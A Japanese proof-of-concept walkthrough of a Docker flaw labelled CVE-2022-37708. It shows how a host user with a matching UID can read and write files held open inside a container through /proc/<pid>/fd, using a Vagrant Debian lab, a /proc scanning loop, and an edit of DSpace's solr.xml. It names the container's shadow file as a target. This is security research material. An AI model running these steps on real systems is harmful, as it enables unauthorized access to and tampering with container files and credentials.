
Docker CVE-2022-37708。
このエクスプロイトは、Docker を実行するホストと Docker 内で実行されるクライアントとの間で Docker が共有するファイルに対して UNIX ファイルシステムが UID と GID を保持する仕組みと、プロセス ID の所有権が機能する性質に依存しています。
これは、ファイルディスクリプタへのアクセスを提供するほぼすべての言語で実行できます。 /proc/ ディレクトリがたまたまこれを公開しているため、シェルコマンドを使用して非常に簡単に実行できます。
複数のユーザーに電子メールサービスを提供しているコンピュータを考えてみましょう。 この電子メールサービスは、ホスト上の Docker 内で実行されている自己完結型ディストリビューションの中で実行されています。 この自己完結型ディストリビューションが「クライアントシステム」と見なされます。 Docker が実行されているシステムが「ホストシステム」と見なされます。 「ホストシステム」には、メッセージバスを提供する「DBUS」などのさまざまなサービスが存在します。 セキュリティ上の理由から、「DBUS」メッセージバスは非特権ユーザー「messagebus」として実行され、UID 123 を持ちます。 「messagebus」ユーザーは Docker へのアクセス権がなく、「クライアントシステム」へのアクセス権もありません。 セキュリティ上の理由から、「クライアントシステム」は電子メール処理を非 root ユーザー「emailservice」として実行し、UID 123 を持ちます。
「messagebus」に UID 123 を指定し、「emailservice」にも UID 123 を指定したことに注目してください。 これは通常は問題になりません。なぜなら、これらは 2 つの別々のシステム(「クライアントシステム」と「ホストシステム」)であり、それらの UID とユーザーマッピングは互いに関係がないからです。
「emailservice」が処理のためにランダムな電子メールを開いた場合、「messagebus」にはそのファイルを表示して編集する機会が生じます。「messagebus」ユーザーは「クライアントシステム」の完全に外側にいるため、「クライアントシステム」はこのファイルが読み書きされている可能性があることを決して知ることはありません。
「emailservice」がユーザー名とパスワードの組み合わせを検証するためにシステムのシャドウファイルを読み取った場合、これはさらに危険になる可能性があります。 その場合、「messagebus」は、「クライアントシステム」内でそのファイルが開かれている期間中、「クライアントシステム」内のシャドウファイルへの完全な読み取りおよび書き込みアクセス権を持つことになります。
エクスプロイトを実行する簡単な方法は、/proc/ ディレクトリで pid ファイルを PID ダイヤルすることです。
無限ループで動作する単純な bash スクリプトは、開かれているファイルを定期的に探すことができます。
for i in /proc/* ; do if [[ -d $i/fd ]] ; then ls -lh $i/fd ; fi ; done
このエクスプロイトの実行を困難にしている重要な要素が 2 つあります。
最初のケースは、無限ループと多少のスクリプトの工夫で軽減できます。 2 番目のケースは、特別に細工されたディストリビューションか広く知られたディストリビューションを使用すれば、運の要素を排除できます。システムに事前定義された UID がある場合、「クライアントシステム」の外側で必要な UID を予測できるはずです。
エクスプロイトをテストするための「ホストシステム」として、Vagrant Debian-10 (Buster) 仮想マシンを使用します:
Vagrant.configure("2") do |config|
config.vm.box = "generic/debian10"
config.vm.provider "virtualbox" do |vb|
vb.memory = 4096
vb.cpus = 2
vb.name = "Wargames"
end
config.vm.synced_folder "/tmp/files", "/host"
end
「ホストシステム」内で、最新バージョンの Docker を取得し、以下の手順に従ってください:
この例の「クライアントシステム」は、Github でホストされている DSpace というオープンソース製品で、docker-compose ファイルを提供しています:
DSpace をクローンし、docker compose を実行します:
# git clone https://github.com/DSpace/DSpace.git
# cd DSpace
# docker compose up
このプロジェクトによって作成されるイメージはいくつかありますが、「dspace_solr_data」に注目しましょう。
ディレクトリトラバーサルが保護されていることを確認しましょう:
# sudo ls -ld /var/lib/docker
drwx--x--- 15 root root 4096 May 6 13:49 /var/lib/docker
エクスプロイトしたいファイルを確認してみましょう:
# sudo find /var/lib/docker/volumes/ -name solr.xml
/var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
/var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
これは、このエクスプロイトを実行するには、ラッキーなユーザーがたまたま UID 8983 を持っている必要があることを示しています。
このラッキーなユーザーを作成し、「Lightman」と呼びましょう。
# sudo useradd -u 8983 -d /home/Lightman/ -m Lightman
次に、それらのファイルを確認してみましょう:
# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
Lightman がこれをエクスプロイトするには、Lightman がファイルを所有しているだけでなく、「クライアントシステム」の__内部__の何らかのプロセスが、そのファイルを開いている必要があります。
このエクスプロイトを実証するために、「クライアントシステム」内の solr.xml ファイルに対して tail -F を使用します。
これは、vagrant ユーザーとして「ホストマシン」にログインした別のターミナルで実行してください。
正しいコンテナを特定します:
# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
...
c4b06050ef46 solr:8.11-slim "/bin/bash -c 'init-…" 11 minutes ago Up 11 minutes 0.0.0.0:8983->8983/tcp dspacesolr
次に、solr:8.11-slim に接続します。
# docker run -it solr:8.11-slim bash
# id
uid=8983(solr) gid=8983(solr) groups=8983(solr)
solr ユーザーは確かに UID 8983 を持っています。
次に、solr.xml ファイルを開き、開いたままにします。
# tail -F /var/solr/data/solr.xml
これで、この Lightman ユーザーがファイルディスクリプタをウォードイヤリングするための準備がすべて整いました。
別のターミナルで、vagrant ユーザーとして「ホストシステム」にログインし、Lightman ユーザーに切り替えます。
# sudo su - Lightman
# id
uid=8983(Lightman) gid=8983(Lightman) groups=8983(Lightman)
/proc を使用して、開かれているすべてのファイルディスクリプタをダイヤルします:
# ls /proc/*/fd/* -ld
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/0 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/1 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/2 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/255 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/0 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/1 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/2 -> /dev/pts/0
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/10 -> /dev/tty
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/2 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/2 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/2 -> /dev/pts/3
ご覧のとおり、一致するものが 2 つあります:
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify
/var/solr/data/solr.xml というパスは、実際には「ホストシステム」上に存在しないことに注意してください。
この操作を行っている間、tail -F を実行しているターミナルに細心の注意を払ってください。
proc パス経由で直接開いてファイルを編集します:
# vim /proc/12683/fd/3
ファイルの末尾に移動し、Hello World と書き込んで、変更を保存します。
「クライアントシステム」内で、ファイルも更新されているのが確認できるはずです。
Lightman は、適切な読み取り/書き込みアクセス権も、ディレクトリトラバーサルアクセスも持たないファイルを、見事に編集しました。 そのファイルは実際には、「Lightman」ユーザーが存在しない別のディストリビューションで実行されている Docker クライアント内にあります。